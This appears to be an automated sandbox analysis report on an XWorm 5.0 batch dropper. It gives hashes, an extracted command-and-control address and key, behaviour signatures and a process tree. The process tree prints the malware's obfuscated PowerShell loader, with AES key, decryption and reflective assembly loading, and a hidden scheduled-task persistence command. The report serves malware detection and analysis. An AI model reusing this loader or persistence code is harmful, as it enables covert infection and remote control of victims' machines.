Analysis
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max time kernel
77s -
max time network
69s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20250113-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
21-01-2025 22:43
Static task
static1
Behavioral task
behavioral1
Sample
$phantomClient.bat
Resource
win10ltsc2021-20250113-en
General
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Target
$phantomClient.bat
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Size
278KB
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MD5
c7f70f6597b99690acab02390af9a913
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SHA1
ec989e5b37d4d9bf56d9b330ed97826313ae3255
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SHA256
f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
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SHA512
991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
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SSDEEP
6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL
Malware Config
Extracted
xworm
5.0
real-enquiry.gl.at.ply.gg:15403
Twor9QJPgxqGUGz9
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Install_directory
%Public%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/1152-146-0x0000024E1A500000-0x0000024E1A510000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 3 IoCs
flow pid Process 17 1152 powershell.exe 28 1152 powershell.exe 51 1152 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2444 powershell.exe 1128 powershell.exe 1152 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\SleepStudy\user-not-present-trace-2025-01-21-22-43-43.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\SleepStudy\user-not-present-trace-2025-01-21-22-43-43.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018001210316B9F" svchost.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService svchost.exe Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133819730010658283" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133819730323326098" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI svchost.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2444 powershell.exe 2444 powershell.exe 1128 powershell.exe 1128 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3588 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeIncreaseQuotaPrivilege 1128 powershell.exe Token: SeSecurityPrivilege 1128 powershell.exe Token: SeTakeOwnershipPrivilege 1128 powershell.exe Token: SeLoadDriverPrivilege 1128 powershell.exe Token: SeSystemProfilePrivilege 1128 powershell.exe Token: SeSystemtimePrivilege 1128 powershell.exe Token: SeProfSingleProcessPrivilege 1128 powershell.exe Token: SeIncBasePriorityPrivilege 1128 powershell.exe Token: SeCreatePagefilePrivilege 1128 powershell.exe Token: SeBackupPrivilege 1128 powershell.exe Token: SeRestorePrivilege 1128 powershell.exe Token: SeShutdownPrivilege 1128 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeSystemEnvironmentPrivilege 1128 powershell.exe Token: SeRemoteShutdownPrivilege 1128 powershell.exe Token: SeUndockPrivilege 1128 powershell.exe Token: SeManageVolumePrivilege 1128 powershell.exe Token: 33 1128 powershell.exe Token: 34 1128 powershell.exe Token: 35 1128 powershell.exe Token: 36 1128 powershell.exe Token: SeIncreaseQuotaPrivilege 1128 powershell.exe Token: SeSecurityPrivilege 1128 powershell.exe Token: SeTakeOwnershipPrivilege 1128 powershell.exe Token: SeLoadDriverPrivilege 1128 powershell.exe Token: SeSystemProfilePrivilege 1128 powershell.exe Token: SeSystemtimePrivilege 1128 powershell.exe Token: SeProfSingleProcessPrivilege 1128 powershell.exe Token: SeIncBasePriorityPrivilege 1128 powershell.exe Token: SeCreatePagefilePrivilege 1128 powershell.exe Token: SeBackupPrivilege 1128 powershell.exe Token: SeRestorePrivilege 1128 powershell.exe Token: SeShutdownPrivilege 1128 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeSystemEnvironmentPrivilege 1128 powershell.exe Token: SeRemoteShutdownPrivilege 1128 powershell.exe Token: SeUndockPrivilege 1128 powershell.exe Token: SeManageVolumePrivilege 1128 powershell.exe Token: 33 1128 powershell.exe Token: 34 1128 powershell.exe Token: 35 1128 powershell.exe Token: 36 1128 powershell.exe Token: SeIncreaseQuotaPrivilege 1128 powershell.exe Token: SeSecurityPrivilege 1128 powershell.exe Token: SeTakeOwnershipPrivilege 1128 powershell.exe Token: SeLoadDriverPrivilege 1128 powershell.exe Token: SeSystemProfilePrivilege 1128 powershell.exe Token: SeSystemtimePrivilege 1128 powershell.exe Token: SeProfSingleProcessPrivilege 1128 powershell.exe Token: SeIncBasePriorityPrivilege 1128 powershell.exe Token: SeCreatePagefilePrivilege 1128 powershell.exe Token: SeBackupPrivilege 1128 powershell.exe Token: SeRestorePrivilege 1128 powershell.exe Token: SeShutdownPrivilege 1128 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeSystemEnvironmentPrivilege 1128 powershell.exe Token: SeRemoteShutdownPrivilege 1128 powershell.exe Token: SeUndockPrivilege 1128 powershell.exe Token: SeManageVolumePrivilege 1128 powershell.exe Token: 33 1128 powershell.exe Token: 34 1128 powershell.exe Token: 35 1128 powershell.exe -
Suspicious use of FindShellTrayWindow 45 IoCs
pid Process 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3252 taskmgr.exe 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE 3588 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1392 wrote to memory of 3688 1392 cmd.exe 82 PID 1392 wrote to memory of 3688 1392 cmd.exe 82 PID 3688 wrote to memory of 4144 3688 net.exe 83 PID 3688 wrote to memory of 4144 3688 net.exe 83 PID 1392 wrote to memory of 4628 1392 cmd.exe 85 PID 1392 wrote to memory of 4628 1392 cmd.exe 85 PID 1392 wrote to memory of 2444 1392 cmd.exe 86 PID 1392 wrote to memory of 2444 1392 cmd.exe 86 PID 2444 wrote to memory of 1128 2444 powershell.exe 87 PID 2444 wrote to memory of 1128 2444 powershell.exe 87 PID 2444 wrote to memory of 1064 2444 powershell.exe 92 PID 2444 wrote to memory of 1064 2444 powershell.exe 92 PID 1064 wrote to memory of 4388 1064 WScript.exe 93 PID 1064 wrote to memory of 4388 1064 WScript.exe 93 PID 4388 wrote to memory of 1840 4388 cmd.exe 95 PID 4388 wrote to memory of 1840 4388 cmd.exe 95 PID 1840 wrote to memory of 4640 1840 net.exe 96 PID 1840 wrote to memory of 4640 1840 net.exe 96 PID 4388 wrote to memory of 4396 4388 cmd.exe 98 PID 4388 wrote to memory of 4396 4388 cmd.exe 98 PID 4388 wrote to memory of 1152 4388 cmd.exe 99 PID 4388 wrote to memory of 1152 4388 cmd.exe 99 PID 1152 wrote to memory of 3588 1152 powershell.exe 56 PID 1152 wrote to memory of 3432 1152 powershell.exe 73 PID 1152 wrote to memory of 1960 1152 powershell.exe 33 PID 1152 wrote to memory of 972 1152 powershell.exe 12 PID 1152 wrote to memory of 1756 1152 powershell.exe 31 PID 1152 wrote to memory of 768 1152 powershell.exe 14 PID 1152 wrote to memory of 2840 1152 powershell.exe 46 PID 1152 wrote to memory of 1144 1152 powershell.exe 19 PID 1152 wrote to memory of 1724 1152 powershell.exe 30 PID 1152 wrote to memory of 544 1152 powershell.exe 67 PID 1152 wrote to memory of 3296 1152 powershell.exe 55 PID 1152 wrote to memory of 2096 1152 powershell.exe 97 PID 1152 wrote to memory of 2308 1152 powershell.exe 41 PID 1152 wrote to memory of 1320 1152 powershell.exe 22 PID 1152 wrote to memory of 2780 1152 powershell.exe 45 PID 1152 wrote to memory of 916 1152 powershell.exe 11 PID 1152 wrote to memory of 2884 1152 powershell.exe 49 PID 1152 wrote to memory of 1700 1152 powershell.exe 37 PID 1152 wrote to memory of 2876 1152 powershell.exe 48 PID 1152 wrote to memory of 2284 1152 powershell.exe 40 PID 1152 wrote to memory of 1288 1152 powershell.exe 21 PID 1152 wrote to memory of 1672 1152 powershell.exe 29 PID 1152 wrote to memory of 2260 1152 powershell.exe 39 PID 1152 wrote to memory of 2648 1152 powershell.exe 71 PID 1152 wrote to memory of 1660 1152 powershell.exe 28 PID 1152 wrote to memory of 1856 1152 powershell.exe 32 PID 1152 wrote to memory of 476 1152 powershell.exe 13 PID 1152 wrote to memory of 668 1152 powershell.exe 15 PID 1152 wrote to memory of 1452 1152 powershell.exe 26 PID 1152 wrote to memory of 1052 1152 powershell.exe 17 PID 1152 wrote to memory of 3020 1152 powershell.exe 52 PID 1152 wrote to memory of 1436 1152 powershell.exe 25 PID 1152 wrote to memory of 1632 1152 powershell.exe 27 PID 1152 wrote to memory of 3600 1152 powershell.exe 57 PID 1152 wrote to memory of 2412 1152 powershell.exe 42 PID 1152 wrote to memory of 2016 1152 powershell.exe 36 PID 1152 wrote to memory of 1420 1152 powershell.exe 24 PID 1152 wrote to memory of 1412 1152 powershell.exe 23 PID 1152 wrote to memory of 2000 1152 powershell.exe 35 PID 1152 wrote to memory of 816 1152 powershell.exe 10 PID 1152 wrote to memory of 1204 1152 powershell.exe 20 PID 1152 wrote to memory of 2580 1152 powershell.exe 44
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Drops file in System32 directory
- Modifies registry class
PID:816 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4012
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵PID:4236
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding2⤵PID:2980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:972
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2284
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2308
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3296
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3588 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Windows\system32\net.exenet file3⤵
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file4⤵PID:4144
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:4628
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_282_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_282.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_282.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_282.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\net.exenet file6⤵
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file7⤵PID:4640
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join 